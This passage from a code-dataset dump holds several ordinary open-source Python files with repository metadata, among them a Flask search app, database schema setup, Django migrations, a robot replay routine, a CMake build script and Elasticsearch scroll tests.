validar = Vagas.select()
for row in validar:
if vaga == row.vaga or int(vaga) == row.id:
existe = True
return vaga
else:
existe = False
if existe:
pass
else:
raise Exception
else:
validar = Vagas.select()
for row in validar:
if vagaNome == row.vaga:
return True
else:
return False
except ValueError:
textoCor('Tipo de dado inválido. Tente novamente!', 31)
except KeyboardInterrupt:
textoCor('Informação obrigatória. Impossível prosseguir!', 31)
except Exception:
textoCor('Vaga não encontrada!', 31)
except:
textoCor('Erro desconhecido. Tente novamente!')
else:
return vaga
| 37.049724 | 117 | 0.547122 | 724 | 6,706 | 5.066298 | 0.303867 | 0.023991 | 0.026172 | 0.018539 | 0.413304 | 0.38904 | 0.343784 | 0.3247 | 0.295802 | 0.21783 | 0 | 0.010495 | 0.389055 | 6,706 | 180 | 118 | 37.255556 | 0.884794 | 0.276618 | 0 | 0.605263 | 0 | 0 | 0.157032 | 0 | 0 | 0 | 0 | 0.022222 | 0 | 1 | 0.035088 | false | 0.035088 | 0.017544 | 0 | 0.114035 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e70bd9ff19d7c1e7715ff79da9a08db0f6d91132 | 1,931 | py | Python | possible-new-sites/web.py | purrcat259/thargoid-search-tools | 2520d295116874db9ea5c47233136b4c296d1bee | [
"MIT"
] | 1 | 2019-10-17T08:26:19.000Z | 2019-10-17T08:26:19.000Z | possible-new-sites/web.py | simonamdev/thargoid-search-tools | 2520d295116874db9ea5c47233136b4c296d1bee | [
"MIT"
] | null | null | null | possible-new-sites/web.py | simonamdev/thargoid-search-tools | 2520d295116874db9ea5c47233136b4c296d1bee | [
"MIT"
] | null | null | null | import argparse
from flask import Flask, render_template, redirect, jsonify
from data import DataRetriever
from flask import request
from gevent.pywsgi import WSGIServer
app = Flask(__name__)
data_retriever = DataRetriever()
def parse_distance(amount):
return round(float(amount), 2)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/search', methods=['POST'])
def search():
if '' in request.form.values():
print('Incorrect values passed: {}'.format(request.form))
return redirect('/')
coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])]
distances = [parse_distance(request.form['a']), parse_distance(request.form['b']), parse_distance(request.form['c'])]
sites = data_retriever.get_possible_systems(coordinates=coordinates, distances=distances)
print('Results: {}'.format(sites))
return render_template('results.html', sites=sites)
#
# @app.route('/api/search', methods=['POST'])
# def search_api():
# if '' in request.form.values():
# print('Incorrect values passed: {}'.format(request.form))
# return redirect('/')
# coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])]
# sites = get_closest_systems(coordinates[0], coordinates[1], coordinates[2])
# return jsonify(
# {
# 'sites': sites
# }
# )
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--debug',
dest='debug',
action='store_true',
default=False,
help='Run in debug mode')
args = parser.parse_args()
if args.debug:
app.run(host='127.0.0.1', port=3000, debug=True, threaded=True)
else:
http_server = WSGIServer(('127.0.0.1', 3000), app)
http_server.serve_forever()
| 31.145161 | 125 | 0.655101 | 230 | 1,931 | 5.334783 | 0.356522 | 0.116544 | 0.146699 | 0.176039 | 0.309698 | 0.267319 | 0.267319 | 0.267319 | 0.267319 | 0.267319 | 0 | 0.015219 | 0.183325 | 1,931 | 61 | 126 | 31.655738 | 0.762841 | 0.242879 | 0 | 0 | 0 | 0 | 0.099448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0.027778 | 0.138889 | 0.055556 | 0.333333 | 0.055556 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7101a3393fb1a65a444e9c370f127ccf4bbb2a5 | 2,608 | py | Python | multichaindb/backend/localarangodb/schema.py | mamaeo/multichaindb | 7791f5fc935be40482f101b6cba3000d065ee136 | [
"CC-BY-3.0",
"CC0-1.0",
"CC-BY-4.0"
] | null | null | null | multichaindb/backend/localarangodb/schema.py | mamaeo/multichaindb | 7791f5fc935be40482f101b6cba3000d065ee136 | [
"CC-BY-3.0",
"CC0-1.0",
"CC-BY-4.0"
] | null | null | null | multichaindb/backend/localarangodb/schema.py | mamaeo/multichaindb | 7791f5fc935be40482f101b6cba3000d065ee136 | [
"CC-BY-3.0",
"CC0-1.0",
"CC-BY-4.0"
] | null | null | null |
import logging
from arango.exceptions import (
CollectionCreateError
)
from multichaindb import backend
from multichaindb.backend.localarangodb.connection import LocalArangoDBConnection
from multichaindb.backend.utils import module_dispatch_registrar
logger = logging.getLogger(__name__)
register_schema = module_dispatch_registrar(backend.schema)
INDEXES = {
'transactions': [
(['id'], dict(unique=True, name='transaction_id')),
(['asset.id'], dict(name='asset_id')),
(['outputs.public_keys'], dict(name='outputs')),
(['inputs.fulfills.transaction_id',
'inputs.fulfills.output_index'], dict(name='inputs'))
],
'assets': [
(['id'], dict(name='asset_id', unique=True))
],
'blocks': [
(['height'], dict(name='height', unique=True))
],
'metadata': [
(['id'], dict(name='transaction_id', unique=True))
],
'utxos': [
(['transaction_id', 'output_index'], dict(name='utxo', unique=True))
],
'pre_commit': [
(['height'], dict(name='height', unique=True))
],
'elections': [
(['height', 'election_id'], dict(name='election_id_height', unique=True))
],
'validators': [
(['height'], dict(name='height', unique=True))
],
'abci_chains': [
(['height'], dict(name='height', unique=True)),
(['chain_id'], dict(name='chain_id', unique=True))
]
}
@register_schema(LocalArangoDBConnection)
def create_database(conn, dbname):
logger.info('Create database `%s`.', dbname)
# TODO: read and write concerns can be declared here
if not conn.conn.has_database(dbname):
conn.conn.create_database(dbname)
@register_schema(LocalArangoDBConnection)
def create_tables(conn, dbname):
for table_name in backend.schema.TABLES:
# create the table
# TODO: read and write concerns can be declared here
try:
logger.info(f'Create `{table_name}` table.')
conn.conn[dbname].create_collection(name=table_name)
except CollectionCreateError:
logger.info(f'Collection {table_name} already exists.')
# Add here new index for each collection
create_indexes(conn, dbname, table_name, INDEXES[table_name])
def create_indexes(conn, dbname, collection, indexes):
logger.info(f'Ensure secondary indexes for `{collection}`.')
for fields, kwargs in indexes:
conn.conn[dbname][collection].add_hash_index(fields, **kwargs)
@register_schema(LocalArangoDBConnection)
def drop_database(conn, dbname):
conn.conn.delete_database(dbname) | 32.6 | 81 | 0.654525 | 290 | 2,608 | 5.731034 | 0.306897 | 0.057762 | 0.030084 | 0.048135 | 0.197353 | 0.12154 | 0.049338 | 0.049338 | 0.049338 | 0 | 0 | 0 | 0.19862 | 2,608 | 80 | 82 | 32.6 | 0.795215 | 0.060199 | 0 | 0.21875 | 0 | 0 | 0.198692 | 0.023712 | 0 | 0 | 0 | 0.0125 | 0 | 1 | 0.0625 | false | 0 | 0.078125 | 0 | 0.140625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e715fe36ce118ed2d7e09d33b151a9028f461145 | 2,274 | py | Python | robot/autonomous/replay.py | frc1418/2018-robot | 7415c14c4e4a64432a07b77292fd6e332606103e | [
"MIT"
] | 1 | 2018-12-16T12:50:20.000Z | 2018-12-16T12:50:20.000Z | robot/autonomous/replay.py | frc1418/2018-robot | 7415c14c4e4a64432a07b77292fd6e332606103e | [
"MIT"
] | 4 | 2019-01-06T22:16:05.000Z | 2019-01-20T03:11:16.000Z | robot/autonomous/replay.py | frc1418/2018-robot | 7415c14c4e4a64432a07b77292fd6e332606103e | [
"MIT"
] | 2 | 2018-12-04T20:34:40.000Z | 2020-01-21T20:27:38.000Z | from magicbot.state_machine import state, AutonomousStateMachine
from magicbot import tunable
from networktables.util import ntproperty
from components import drive, arm
import json
class Replay(AutonomousStateMachine):
"""
Replay recorded control input.
"""
MODE_NAME = 'Replay'
DEFAULT = False
drive: drive.Drive
arm: arm.Arm
voltage = ntproperty('/robot/voltage', 1)
source = tunable('')
recording = None
@property
def compensation(self):
"""
Get factor by which to multiply motor speeds to account for battery depletion.
When we replay recorded control input, we'll likely be at a different voltage level
from when it was recorded.
:return: Number by which to multiply motor speeds.
"""
return self.voltage / self.recording['voltage']
def on_enable(self):
"""
Read recorded data from file and prepare to run autonomous.
"""
super().on_enable()
try:
with open('/tmp/%s.json' % self.source, 'r') as f:
self.recording = json.load(f)
except FileNotFoundError:
# Terminate autonomous mode
self.done()
self.frame = 0
@state(first=True)
def run(self):
"""
Execute recorded instructions.
"""
# TODO: Rather than manually controlling components, run teleopPeriodic with recorded input.
self.drive.move(-self.recording['frames'][self.frame]['joysticks'][0]['axes'][1] * self.compensation,
self.recording['frames'][self.frame]['joysticks'][1]['axes'][0] * self.compensation)
if self.recording['frames'][self.frame]['joysticks'][2]['buttons'][1] and not self.recording['frames'][self.frame - 1]['joysticks'][2]['buttons'][1]:
self.arm.actuate_claw()
if self.recording['frames'][self.frame]['joysticks'][2]['buttons'][2] and not self.recording['frames'][self.frame - 1]['joysticks'][2]['buttons'][2]:
self.arm.actuate_forearm()
self.arm.move(-self.recording['frames'][self.frame]['joysticks'][2]['axes'][1] * self.compensation)
self.frame += 1
if self.frame == len(self.recording['frames']):
self.done()
| 32.956522 | 157 | 0.616974 | 267 | 2,274 | 5.23221 | 0.393258 | 0.093057 | 0.108805 | 0.131711 | 0.300644 | 0.267717 | 0.201145 | 0.141732 | 0.141732 | 0.074445 | 0 | 0.011118 | 0.248461 | 2,274 | 68 | 158 | 33.441176 | 0.806319 | 0.211961 | 0 | 0.055556 | 0 | 0 | 0.113555 | 0 | 0 | 0 | 0 | 0.014706 | 0 | 1 | 0.083333 | false | 0 | 0.138889 | 0 | 0.472222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e71b359c0d67494c780e13cabfa597df168f9567 | 480 | py | Python | tests/test_cars.py | remi2257/little-car-ai | 006f2f515d46dd9e94457c191f017a9f3d749fa8 | [
"MIT"
] | 2 | 2020-11-07T15:29:42.000Z | 2022-01-18T08:59:00.000Z | tests/test_cars.py | remi2257/little-car-ai | 006f2f515d46dd9e94457c191f017a9f3d749fa8 | [
"MIT"
] | null | null | null | tests/test_cars.py | remi2257/little-car-ai | 006f2f515d46dd9e94457c191f017a9f3d749fa8 | [
"MIT"
] | null | null | null | from src.objects.Track import Track
from src.usesful_func import start_pygame_headless
start_pygame_headless()
track = Track("tracks/tiny.tra")
def test_car_human():
from src.cars.CarHuman import CarHuman
car = CarHuman(track)
assert car
def test_car_ai():
from src.cars.CarAI import CarAI
from src.objects.NeuralNet import NeuralNet
nn = NeuralNet.from_path("models/raw/cnn_light.net")
car = CarAI(track=track, neural_net=nn)
assert car
| 19.2 | 56 | 0.7375 | 71 | 480 | 4.816901 | 0.43662 | 0.102339 | 0.081871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.175 | 480 | 24 | 57 | 20 | 0.863636 | 0 | 0 | 0.142857 | 0 | 0 | 0.08125 | 0.05 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0 | 0.357143 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
e71cb678c34fd8498316b8548a75c980f7e64e79 | 1,869 | py | Python | api_advertisements/migrations/0001_initial.py | alex-fullstack/goods | e23f81389f868316d48095a2ce83209c9f255232 | [
"MIT"
] | null | null | null | api_advertisements/migrations/0001_initial.py | alex-fullstack/goods | e23f81389f868316d48095a2ce83209c9f255232 | [
"MIT"
] | null | null | null | api_advertisements/migrations/0001_initial.py | alex-fullstack/goods | e23f81389f868316d48095a2ce83209c9f255232 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-03 11:01
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Photo',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='advertisements/')),
('created', models.DateTimeField(auto_now_add=True)),
],
),
migrations.CreateModel(
name='Tag',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
('slug', models.SlugField(unique=True)),
],
),
migrations.CreateModel(
name='Advertisement',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
('view_counter', models.PositiveIntegerField(blank=True, null=True)),
('description', models.TextField(blank=True, null=True)),
('price', models.DecimalField(decimal_places=2, default=0, max_digits=9)),
('created', models.DateTimeField(auto_now_add=True)),
('photo', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='photo', to='api_advertisements.photo')),
('tag', models.ManyToManyField(blank=True, related_name='tag', to='api_advertisements.Tag')),
],
),
]
| 40.630435 | 114 | 0.572499 | 185 | 1,869 | 5.648649 | 0.4 | 0.03445 | 0.07177 | 0.066029 | 0.362679 | 0.362679 | 0.362679 | 0.286124 | 0.286124 | 0.286124 | 0 | 0.018059 | 0.288925 | 1,869 | 45 | 115 | 41.533333 | 0.768247 | 0.024077 | 0 | 0.5 | 1 | 0 | 0.092755 | 0.025247 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e71df5994266dd259ea2d040f060832e1c15662a | 716 | py | Python | outerJoin.py | eyalsus/python-fun | 869315a513561e5a762ce44b65887c35c328cb37 | [
"MIT"
] | null | null | null | outerJoin.py | eyalsus/python-fun | 869315a513561e5a762ce44b65887c35c328cb37 | [
"MIT"
] | null | null | null | outerJoin.py | eyalsus/python-fun | 869315a513561e5a762ce44b65887c35c328cb37 | [
"MIT"
] | null | null | null | import pandas as pd
def leftOuterJoin(left_df, right_df, key):
right_df['tmp'] = '@'
join_df = left_df.merge(right_df[['tmp', key]], how='left', on=key)
join_df = join_df[pd.isnull(join_df['tmp'])]
join_df.drop('tmp', axis=1, inplace=True)
right_df.drop('tmp', axis=1, inplace=True)
return join_df
def rightOuterJoin(left_df, right_df, key):
return leftOuterJoin(right_df, left_df, key)
existing_df = pd.DataFrame.from_dict([{'a': 1, 'b':2}, {'a': 11, 'b':22}, {'a': 111, 'b':222}])
new_df = pd.DataFrame.from_dict([{'a': 11, 'c':33}, {'a': 111, 'c':333}, {'a': 1111, 'c':3333}])
key = 'a'
print leftOuterJoin(existing_df, new_df, key)
print rightOuterJoin(existing_df, new_df, key)
| 34.095238 | 96 | 0.648045 | 121 | 716 | 3.636364 | 0.338843 | 0.095455 | 0.05 | 0.059091 | 0.368182 | 0.213636 | 0.113636 | 0 | 0 | 0 | 0 | 0.052117 | 0.142458 | 716 | 20 | 97 | 35.8 | 0.664495 | 0 | 0 | 0 | 0 | 0 | 0.046089 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.066667 | null | null | 0.133333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e72248ccaed00f614ecfd4987c6c67cfadadfcba | 3,008 | py | Python | transform/gmb.py | lievcin/ner_tagger | 25824814de9a9998ad28198c8e5f76e2c8a1eb26 | [
"Apache-2.0"
] | null | null | null | transform/gmb.py | lievcin/ner_tagger | 25824814de9a9998ad28198c8e5f76e2c8a1eb26 | [
"Apache-2.0"
] | null | null | null | transform/gmb.py | lievcin/ner_tagger | 25824814de9a9998ad28198c8e5f76e2c8a1eb26 | [
"Apache-2.0"
] | null | null | null | import os
import csv
from utils import check_dir, make_sentences
import numpy as np
import pandas as pd
def transform(source_path):
rows = []
sentence_count = 1
new_sentence=True
for root, __subFolders, files in os.walk(source_path):
for file in files:
if file.endswith('.tags'):
for line in open(os.path.join(root, file), encoding='utf-8'):
line = line.split()
if len(line) >= 5 and new_sentence==True:
row = [sentence_count, line[0], line[1], line[4]]
new_sentence=False
rows.append(row)
elif len(line) >= 5:
row = [sentence_count, line[0], line[1], line[4]]
rows.append(row)
else:
new_sentence = True
sentence_count += 1
return rows, sentence_count
def main():
source_path = "./data/gmb-1.0.0"
columns = ["sentence_idx", "Word", "POS", "Tag"]
rows, sentence_count = transform(source_path)
sentence_idx = np.array(range(sentence_count))
# split into train and test files. this will help with keeping the generators simple,
# plus this should really be done at the ETL stage of the pipeline anyway!
test_idx = np.random.choice(np.array(range(sentence_count)), size=int(sentence_count*0.2), replace=False)
train_idx = np.setdiff1d(sentence_idx,test_idx)
# check that the directory to store the data exists, if not create it.
check_dir("./data/processed_data/gmb/")
df_train = pd.DataFrame(data=[s for s in rows if s[0] in train_idx], columns=columns)
train_sentences, train_labels = make_sentences(df_train, group_col="sentence_idx", word_col="Word", tag_col="Tag")
train_sentences.to_csv("./data/processed_data/gmb/train.sentences.csv", index=False, header=False)
train_labels.to_csv("./data/processed_data/gmb/train.labels.csv", index=False, header=False)
vocab = df_train["Word"].unique() # TODO change this to be a full list and add a frequency filter.
tags = sorted(df_train["Tag"].unique(), reverse=True)
with open("./data/processed_data/gmb/vocabulary.txt", "w", newline="") as f:
f.write("\n".join(vocab))
with open("./data/processed_data/gmb/tags.txt", "w", newline="") as f:
f.write("\n".join(tags))
del (df_train, train_sentences, train_labels, vocab, tags)
check_dir("./data/processed_data/gmb/")
df_test = pd.DataFrame(data=[s for s in rows if s[0] in test_idx], columns=columns)
test_sentences, test_labels = make_sentences(df_test, group_col="sentence_idx", word_col="Word", tag_col="Tag")
test_sentences.to_csv("./data/processed_data/gmb/test.sentences.csv", index=False, header=False)
test_labels.to_csv("./data/processed_data/gmb/test.labels.csv", index=False, header=False)
del (df_test, test_sentences, test_labels)
if __name__ == "__main__":
main() | 43.594203 | 118 | 0.642287 | 431 | 3,008 | 4.294664 | 0.299304 | 0.063209 | 0.073474 | 0.08644 | 0.374932 | 0.34792 | 0.249595 | 0.137223 | 0.137223 | 0.076715 | 0 | 0.008204 | 0.230053 | 3,008 | 69 | 119 | 43.594203 | 0.791019 | 0.095745 | 0 | 0.153846 | 0 | 0 | 0.149116 | 0.10972 | 0 | 0 | 0 | 0.014493 | 0 | 1 | 0.038462 | false | 0 | 0.096154 | 0 | 0.153846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e726eeeb7dc6281a3fd3249127d72c8dbc4e9b9d | 936 | py | Python | codenerix/migrations/0021_auto_20171218_1039.py | centrologic/django-codenerix | 136d3cab1a19d2dfac810f902e3fcb5ea94e13ba | [
"Apache-2.0"
] | 28 | 2017-02-25T01:39:34.000Z | 2018-01-22T21:48:10.000Z | codenerix/migrations/0021_auto_20171218_1039.py | codenerix/django-codenerix | 1fc2edb451c5cf2359e243d860940876af0cf575 | [
"Apache-2.0"
] | 4 | 2018-04-11T10:19:08.000Z | 2020-02-29T18:54:36.000Z | codenerix/migrations/0021_auto_20171218_1039.py | centrologic/django-codenerix | 136d3cab1a19d2dfac810f902e3fcb5ea94e13ba | [
"Apache-2.0"
] | 6 | 2017-03-10T12:00:02.000Z | 2017-11-22T20:15:42.000Z | # Generated by Django 2.0 on 2017-12-18 09:39
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('codenerix', '0020_remotelog'),
]
operations = [
migrations.AddField(
model_name='log',
name='username',
field=models.CharField(blank=True, default='', max_length=200, verbose_name='Username'),
),
migrations.AddField(
model_name='remotelog',
name='username',
field=models.CharField(blank=True, default='', max_length=200, verbose_name='Username'),
),
migrations.AlterField(
model_name='remotelog',
name='user',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),
),
]
| 30.193548 | 136 | 0.621795 | 101 | 936 | 5.643564 | 0.485149 | 0.084211 | 0.049123 | 0.077193 | 0.312281 | 0.312281 | 0.312281 | 0.312281 | 0.312281 | 0.312281 | 0 | 0.034483 | 0.25641 | 936 | 30 | 137 | 31.2 | 0.784483 | 0.04594 | 0 | 0.458333 | 1 | 0 | 0.089787 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7275d5d85bc1f6c9b0854a1dcb76d3bdaec9f9c | 598 | py | Python | notebook/algorithm/template.py | qixiuai/BCGHeart | b1127fa4420b658308acd883bc11945b7fcac4df | [
"MIT"
] | null | null | null | notebook/algorithm/template.py | qixiuai/BCGHeart | b1127fa4420b658308acd883bc11945b7fcac4df | [
"MIT"
] | null | null | null | notebook/algorithm/template.py | qixiuai/BCGHeart | b1127fa4420b658308acd883bc11945b7fcac4df | [
"MIT"
] | null | null | null |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
def find_template(signal, rr):
return signal[200:400]
def conv(signal, template):
scores = []
template_length = len(template)
signal_length = len(signal)
for ind in range(signal_length-template_length):
score = np.dot(signal[ind:ind+template_length], template)
score = np.sqrt(score / template_length) - 300
scores.append(score)
return scores
def findpeaks(signal):
pass
if __name__ == "__main__":
pass
| 19.290323 | 65 | 0.705686 | 77 | 598 | 5.103896 | 0.467532 | 0.142494 | 0.122137 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019068 | 0.210702 | 598 | 30 | 66 | 19.933333 | 0.813559 | 0 | 0 | 0.105263 | 0 | 0 | 0.013423 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.157895 | false | 0.105263 | 0.210526 | 0.052632 | 0.473684 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e729fdcdadec47d464face84e545e740a24e49b1 | 2,239 | py | Python | setup.py | BSalita/endplay | e99acff2e781e084f1982b336be7ee55b0417309 | [
"MIT"
] | 4 | 2021-12-07T12:30:44.000Z | 2022-03-26T13:38:25.000Z | setup.py | BSalita/endplay | e99acff2e781e084f1982b336be7ee55b0417309 | [
"MIT"
] | 12 | 2021-11-15T23:06:27.000Z | 2022-03-28T15:46:55.000Z | setup.py | BSalita/endplay | e99acff2e781e084f1982b336be7ee55b0417309 | [
"MIT"
] | 1 | 2021-12-07T13:28:40.000Z | 2021-12-07T13:28:40.000Z | #!/usr/bin/env python3
import os
import pathlib
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext
class CMakeExtension(Extension):
"""
Stub class to distinguish between default extensions and CMake
extensions (which contain no sources as these are listed in the
CMakeLists.txt file)
"""
def __init__(self, name):
# don't invoke the original build_ext for this special extension
super().__init__(name, sources=[])
class cmakeable_build_ext(build_ext):
"""
build_ext compatible class which detects if the extension it is to
build is a CMakeExtension in which case it delegates building to
the CMake executable.
"""
def run(self):
for ext in self.extensions:
if isinstance(ext, CMakeExtension):
self.build_cmake(ext)
super().run()
def build_cmake(self, ext):
cwd = pathlib.Path().absolute()
# Create directory structure
build_temp = pathlib.Path(self.build_temp)
build_temp.mkdir(parents=True, exist_ok=True)
extdir = pathlib.Path(self.get_ext_fullpath(ext.name))
extdir.mkdir(parents=True, exist_ok=True)
# Check which architecture we should be building for
import struct
bits = struct.calcsize('P') * 8
# Setup args passed to cmake
config = 'Debug' if self.debug else 'Release'
cmake_config_args = [
'-DCMAKE_INSTALL_PREFIX=' + str(extdir.parent.absolute()),
'-DCMAKE_BUILD_TYPE=' + config,
'-DSETUPTOOLS_BUILD=1'
]
if os.name == 'nt':
if bits == 64: cmake_config_args.append('-A x64')
elif bits == 32: cmake_config_args.append('-A Win32')
else: raise RuntimeError(f"Unknown computer architecture with {bits} bits")
else:
if bits == 32: cmake_config_args.append('-DCOMPILE_32_BITS=1')
cmake_build_args = [
"--build", ".",
"--target", "install",
"--config", config
]
# Disable warning MSB8029 (https://stackoverflow.com/a/60301902/5194459)
os.environ["IgnoreWarnIntDirInTempDetected"] = "true"
os.chdir(str(build_temp))
self.spawn(['cmake', str(cwd)] + cmake_config_args)
if not self.dry_run:
self.spawn(['cmake'] + cmake_build_args)
os.chdir(str(cwd))
setup(
ext_modules = [CMakeExtension('endplay')],
cmdclass = {
'build_ext': cmakeable_build_ext,
},
test_suite = "tests"
) | 28.705128 | 78 | 0.718624 | 311 | 2,239 | 5.009646 | 0.440514 | 0.041078 | 0.048139 | 0.040436 | 0.084082 | 0.06932 | 0 | 0 | 0 | 0 | 0 | 0.018558 | 0.15766 | 2,239 | 78 | 79 | 28.705128 | 0.806999 | 0.116123 | 0 | 0 | 0 | 0 | 0.15282 | 0.032141 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.098039 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e72a0ca6b792e14e75fd2eecb3abfa32cab566a5 | 19,071 | py | Python | tests/test_superelasticsearch.py | wingify/superelasticsearch | 3e6d5d7661d95e1e9207b84ae05310e313f8fd09 | [
"MIT"
] | 69 | 2015-10-09T19:55:38.000Z | 2021-11-09T13:39:44.000Z | tests/test_superelasticsearch.py | wingify/superelasticsearch | 3e6d5d7661d95e1e9207b84ae05310e313f8fd09 | [
"MIT"
] | null | null | null | tests/test_superelasticsearch.py | wingify/superelasticsearch | 3e6d5d7661d95e1e9207b84ae05310e313f8fd09 | [
"MIT"
] | 7 | 2015-10-26T08:00:46.000Z | 2020-09-03T15:16:31.000Z | import functools
import json
import logging
import os
import time
from copy import deepcopy
from datadiff.tools import assert_equal as assertDictEquals
from elasticsearch import Elasticsearch, ElasticsearchException, TransportError
from mock import Mock
from random import randint
from superelasticsearch import SuperElasticsearch
from superelasticsearch import BulkOperation
from superelasticsearch import _BulkAction
try:
import unittest2 as unittest
except ImportError:
import unittest
elasticsearch_logger = logging.getLogger('elasticsearch')
elasticsearch_logger.setLevel(logging.ERROR)
# get file's path in current directory
local_path = lambda x: os.path.join(os.path.dirname(__file__), x)
class TestItersearch(unittest.TestCase):
# create a common Elasticsearch object
es = Elasticsearch(hosts=['localhost:9200'])
# create a common SuperElasticsearch object
ss = SuperElasticsearch(hosts=['localhost:9200'])
_index = 'automated_test_index__%s' % randint(0, 1000)
_doc_type = 'automated_test_doc_type__%s' % randint(0, 1000)
@classmethod
def setUpClass(cls):
cls._total_docs = 0
# read documents from a file and setup test index
with open(local_path('test_data.dump'), 'r') as f:
data = json.loads(f.read())
for doc in data:
cls.es.index(index=cls._index,
doc_type=cls._doc_type,
body=doc)
cls._total_docs += 1
def test_itersearch_raises_typeerror_when_scroll_param_is_missing(self):
self.assertRaises(TypeError, self.ss.itersearch)
def test_chunked_itersearch_performs_scroll(self):
for size in (10, 100):
scrollCounter = 0
docsCounter = 0
time.sleep(1)
for docs in self.ss.itersearch(index=self._index,
doc_type=self._doc_type,
body=dict(
query=dict(match_all={})),
scroll='10m', size=size):
scrollCounter += 1
docsCounter += len(docs)
self.assertEquals(scrollCounter, self._total_docs / size + 1)
def test_non_chunked_itersearch_performs_scroll(self):
for size in (10, 100):
docsCounter = 0
time.sleep(1)
for doc in self.ss.itersearch(index=self._index,
doc_type=self._doc_type,
